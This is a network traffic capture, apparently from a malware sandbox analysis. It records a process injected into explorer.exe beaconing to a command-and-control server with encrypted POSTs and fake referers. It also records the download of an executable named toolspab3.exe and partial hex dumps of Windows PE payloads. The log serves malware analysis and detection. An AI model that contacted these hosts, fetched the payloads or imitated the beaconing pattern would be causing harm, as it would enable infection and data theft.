Dec 1, 2021 10:04:44.605958939 CET	3866	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:44 GMT Content-Type: application/x-msdos-program Content-Length: 351744 Connection: close Last-Modified: Wed, 01 Dec 2021 09:04:02 GMT ETag: "55e00-5d211f48282b5" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 96 a5 06 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fe 03 00 00 40 09 00 00 00 00 00 40 cf 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0d 00 00 04 00 00 f5 45 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 f8 03 00 28 00 00 00 00 e0 0c 00 c0 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0d 00 30 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 c4 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 be fc 03 00 00 10 00 00 00 fe 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 10 04 00 00 de 00 00 00 02 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 40 00 00 00 e0 0c 00 00 42 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 3b 00 00 00 30 0d 00 00 3c 00 00 00 22 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 fb 03 00 b6 fb 03 00 ca fb 03 00 de fb 03 00 ec fb 03 00 00 fc 03 00 16 fc 03 00 34 fc 03 00 4a fc 03 00 5a fc 03 00 6c fc 03 00 8c fc 03 00 a2 fc 03 00 b4 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$OW.9P.9P.9Ph`P.9PXP.9PXP.9PXPy.9PVP.9P.8P.9PXP.9PXP.9PXP.9PRich.9PPEL_@@@pE(@00@l.text `.data@@.rsrc@B@@.reloc;0<"@B4JZl
Dec 1, 2021 10:04:44.606004000 CET	3867	IN	Data Raw: fc 03 00 ca fc 03 00 d8 fc 03 00 f0 fc 03 00 fe fc 03 00 10 fd 03 00 20 fd 03 00 32 fd 03 00 40 fd 03 00 54 fd 03 00 70 fd 03 00 8e fd 03 00 a0 fd 03 00 ae fd 03 00 c6 fd 03 00 da fd 03 00 f8 fd 03 00 10 fe 03 00 32 fe 03 00 44 fe 03 00 52 fe 03 Data Ascii: 2@Tp2DRjv"8Rdx$<L^n*Hbr
Dec 1, 2021 10:04:44.606045008 CET	3869	IN	Data Raw: 00 26 00 26 00 20 00 21 00 5f 00 74 00 6d 00 5f 00 75 00 6e 00 69 00 63 00 6f 00 64 00 65 00 5f 00 73 00 61 00 66 00 65 00 28 00 66 00 6e 00 29 00 29 00 29 00 29 00 00 00 70 00 75 00 74 00 73 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 Data Ascii: && !_tm_unicode_safe(fn))))putsf:\dd\vctools\crt_bld\self_x86\crt\src\puts.c(string != NULL)CorExitProcessmscoree.dllf
Dec 1, 2021 10:04:44.606112003 CET	3870	IN	Data Raw: 00 0a 00 00 00 00 00 52 00 36 00 30 00 33 00 30 00 0d 00 0a 00 2d 00 20 00 43 00 52 00 54 00 20 00 6e 00 6f 00 74 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 65 00 64 00 0d 00 0a 00 00 00 00 00 52 00 36 00 30 00 32 00 38 00 0d Data Ascii: R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializa
Dec 1, 2021 10:04:44.606149912 CET	3872	IN	Data Raw: 00 b0 1b 40 00 1b 00 00 00 40 1b 40 00 1c 00 00 00 f0 1a 40 00 1e 00 00 00 b0 1a 40 00 1f 00 00 00 e8 19 40 00 20 00 00 00 80 19 40 00 21 00 00 00 90 17 40 00 78 00 00 00 6c 17 40 00 79 00 00 00 50 17 40 00 7a 00 00 00 34 17 40 00 fc 00 00 00 2c Data Ascii: @@@@@@ @!@xl@yP@z4@,@@Microsoft Visual C++ Runtime Librarywcscat_s(outmsg, (sizeof(outmsg) /
Dec 1, 2021 10:04:44.606208086 CET	3873	IN	Data Raw: 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 44 00 65 00 62 00 75 00 67 00 20 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 00 00 00 00 5f 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 3a 00 20 00 53 Data Ascii: isual C++ Debug Library_CrtDbgReport: String too long or IO Errorwcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String
Dec 1, 2021 10:04:44.606254101 CET	3874	IN	Data Raw: 63 72 74 5c 73 72 63 5c 69 6e 70 75 74 2e 63 00 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 55 00 73 00 65 00 64 00 3c 00 3d 00 28 00 2a 00 70 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 53 00 7a 00 29 00 00 00 00 00 28 Data Ascii: crt\src\input.cnFloatStrUsed<=(pnFloatStrSz)("Invalid Input Format",0)_input_s_lClientIgnoreCRTNormalFree+@+@+@+@@Error: memory allocation:
Dec 1, 2021 10:04:44.606304884 CET	3876	IN	Data Raw: 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 5f 00 70 00 46 00 69 00 72 00 73 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 3d 00 3d 00 20 00 70 00 48 00 65 00 61 00 64 00 00 00 5f 00 70 Data Ascii: UserData != NULL_pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLine == IGNORE_LINE &&
Dec 1, 2021 10:04:44.606353045 CET	3877	IN	Data Raw: 63 61 74 69 6f 6e 20 77 72 6f 74 65 20 74 6f 20 61 20 68 65 61 70 20 62 75 66 66 65 72 20 74 68 61 74 20 77 61 73 20 66 72 65 65 64 2e 0a 00 00 00 00 00 00 00 48 45 41 50 20 43 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 6f 6e 20 Data Ascii: cation wrote to a heap buffer that was freed.HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).DAMAGED_heapchk fails with un
Dec 1, 2021 10:04:44.606390953 CET	3879	IN	Data Raw: 74 5c 73 72 63 5c 74 69 64 74 61 62 6c 65 2e 63 00 00 00 46 6c 73 46 72 65 65 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 61 6c 75 65 00 46 6c 73 41 6c 6c 6f 63 00 00 00 00 4b 00 45 00 52 00 4e 00 45 00 4c 00 33 00 32 00 2e 00 44 Data Ascii: t\src\tidtable.cFlsFreeFlsSetValueFlsGetValueFlsAllocKERNEL32.DLLf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.cf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
Dec 1, 2021 10:04:44.664412975 CET	3881	IN	Data Raw: 00 6e 00 76 00 70 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 Data Ascii: nvpf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.cf:\dd\vctools\crt_bld\self_x86

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49814	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:46.816389084 CET	4236	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mjghwr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 346 Host: host-data-coin-11.com
Dec 1, 2021 10:04:46.818742990 CET	4236	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8c 66 5d 02 c9 a1 c1 64 29 d0 d0 1b Data Ascii: o:@ACFkUwmDu$f]d))F6\|ati(K$zslg?#j"=V{&"Vl+K;<654}$/qU "cWm.0IqUEuZ$.D^NW+k7OH%/
Dec 1, 2021 10:04:46.913688898 CET	4249	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49815	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:47.279380083 CET	4253	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://unuta.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 254 Host: host-data-coin-11.com
Dec 1, 2021 10:04:47.279464006 CET	4254	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 58 b9 a1 20 Data Ascii: o:@ACFkUwmDu$f]dX zmf`.X}%?X]b\P.Qu:>*7=:!&cAEp&JJ,,lt-<}EH`%&J2UOUf!7&Z5h[T/
Dec 1, 2021 10:04:47.379863024 CET	4254	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49816	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:47.469691992 CET	4255	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fucabofxh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: host-data-coin-11.com
Dec 1, 2021 10:04:47.469928980 CET	4256	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 1f a4 8e 17 Data Ascii: o:@ACFkUwmDu$f]d>\| v`B0P`l5PT>qXGM$^`/Dh&' "=!fo{e4\|QxAe$9xUW
Dec 1, 2021 10:04:47.572196960 CET	4256	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49751	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:26.750736952 CET	1099	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://piyyyphtem.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: host-data-coin-11.com
Dec 1, 2021 10:04:26.750766993 CET	1099	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 42 84 a4 2b Data Ascii: o:@ACFkUwmDu$f]dB+IB].+7um,^?,1\|\|G\"@y*uBIE&KFw!q28uTcP1w';LPC98:Ix0}fD_pn6K
Dec 1, 2021 10:04:26.852677107 CET	1100	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49817	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:47.663691044 CET	4257	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://guasgjf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 247 Host: host-data-coin-11.com
Dec 1, 2021 10:04:47.663743019 CET	4257	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 03 93 8c 38 Data Ascii: o:@ACFkUwmDu$f]d8#6r'a\|,\`oA-' 6OZRjp,_G}25QU-z8=]_o1W,yP%DGAbQ2y<*XV@,qFY<p>
Dec 1, 2021 10:04:47.766128063 CET	4257	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c3 55 a1 b9 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%XQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49818	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:47.901993036 CET	4258	OUT	GET /downloads/toolspab3.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytoolzforyou-7000.com
Dec 1, 2021 10:04:47.983998060 CET	4260	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:47 GMT Content-Type: application/x-msdos-program Content-Length: 336896 Connection: close Last-Modified: Wed, 01 Dec 2021 09:04:01 GMT ETag: "52400-5d211f4808eb5" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 84 c6 f3 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c4 03 00 00 40 09 00 00 00 00 00 c0 95 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 0d 00 00 04 00 00 c9 6e 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 03 00 28 00 00 00 00 b0 0c 00 c0 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 30 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3e c3 03 00 00 10 00 00 00 c4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 e0 03 00 00 de 00 00 00 c8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 40 00 00 00 b0 0c 00 00 42 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 b6 3b 00 00 00 00 0d 00 00 3c 00 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 